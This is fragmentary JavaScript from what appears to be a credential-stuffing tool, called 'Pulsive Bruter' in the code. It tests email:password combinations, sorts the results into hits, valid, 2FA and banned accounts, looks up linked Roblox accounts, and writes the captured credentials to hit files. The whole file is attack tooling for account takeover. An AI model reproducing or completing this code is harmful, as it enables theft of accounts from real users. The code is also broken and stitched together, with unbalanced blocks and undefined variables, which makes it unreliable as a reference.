index
index
class Output {
constructor(level) {
this.level = level
this.colorMap = {
INFO: [chalk.blue, 'INFO'],
INVALID: [chalk.red, 'BAD'],
"2FA": [chalk.red, '2FA'],
BANNED: [chalk.red, 'BAN'],
LOCKED: [chalk.red, 'LOCK'],
VALID: [chalk.yellow, "VALID"],
BYPASS: [chalk.yellow, "BYPASS"],
HIT: [chalk.green, 'ROBLOX'],
OHIT: [chalk.green, 'HIT']
}
}
log(...args) {
const [color, text] = this.colorMap[this.level] || [chalk.whiteBright,
this.level]
const timeNow = moment().format("HH:mm:ss")
function input(prompt) {
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout
});
return new Promise(resolve => {
rl.question(prompt, answer => {
rl.close();
resolve(answer);
});
});
}
function waitForEnter() {
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout
});
(async () => {
var key
if (fs.existsSync("license_key.txt")) {
key = fs.readFileSync("license_key.txt").toString()
} else {
key = (await inquirer.prompt({
name: 'key',
type: 'input',
message: 'Enter your license key'
})).key
}
if (response.data.error) {
new Output("INVALID").log(response.data.error)
await waitForEnter()
process.exit(0)
} else {
console.clear()
if (response.data.version != CURRENT_VERSION) {
new Output("INVALID").log("Your version is currently outdated, please
contact the dev to download new one!")
await waitForEnter()
process.exit(0)
}
fs.writeFileSync("license_key.txt", key)
if (response.success) {
if (response.success.inboxSearcher.roblox) {
if (response.success.inboxSearcher.roblox.username != null
&& response.success.inboxSearcher.roblox.emailChanged == false) {
const id = (await rp({
uri: "https://users.roblox.com/v1/usernames/users",
method: "POST",
json: true,
body: { usernames:
[response.success.inboxSearcher.roblox.username], excludeBannedUsers: false }
}).catch(() => null)).data?.[0]?.id || "Failed to fetch
ID"
const res = await rp({ uri:
"https://users.roblox.com/v1/users/" + id, json: true, simple: false }).catch(() =>
null)
// const joinDate = res?.created ? `<t:${Math.floor(new
Date(res.created).getTime() / 1000)}:D>` : "Failed to fetch."
// const thumbnail = (await rp({
// uri:
`https://thumbnails.roblox.com/v1/users/avatar`,
// qs: { userIds: id, size: "150x150", format:
"Png", isCircular: false },
// json: true
// }).catch(() => null))?.data?.[0]?.imageUrl
var username =
response.success.inboxSearcher.roblox.username
var AAL =
response.success.inboxSearcher.roblox.allAccountUsernameLinked
if (AAL == null) {
AAL = username
} else {
AAL = AAL.join(", ")
}
const hit_with_capture = `$
{response.success.capture.email}:${response.success.capture.password} | Country: $
{response.success.capture.country} | Username: ${username} | ID: ${id.toString()} |
Join Date: ${res.created.split("T"[0])} | All Accounts Linked: ${AAL} | Checked by
Pulsive Bruter`
new Output("HIT").log(hit_with_capture)
fs.appendFileSync("roblox_hits.txt", hit_with_capture +
"\n")
hits += 1
total_checked += 1
} else {
const hit_with_capture = `$
{response.success.capture.email}:${response.success.capture.password}`
new Output("VALID").log(hit_with_capture)
fs.appendFileSync("valid_mails.txt", hit_with_capture +
"\n")
valid += 1
total_checked += 1
}
}
} else if (response.error && response.error != "RATELIMITED") {
new Output("INVALID").log(response.error)
total_checked += 1
} else if (response.fail) {
new Output(response.fail).log(email + ":" + password)
if (response.fail == "2FA") {
_2fa += 1
total_checked += 1
} else {
invalid += 1
total_checked += 1
}
} else {
new Output("INVALID").log(email + ":" + password)
invalid += 1
total_checked += 1
}
(async() => {
await Start(1)
})()
}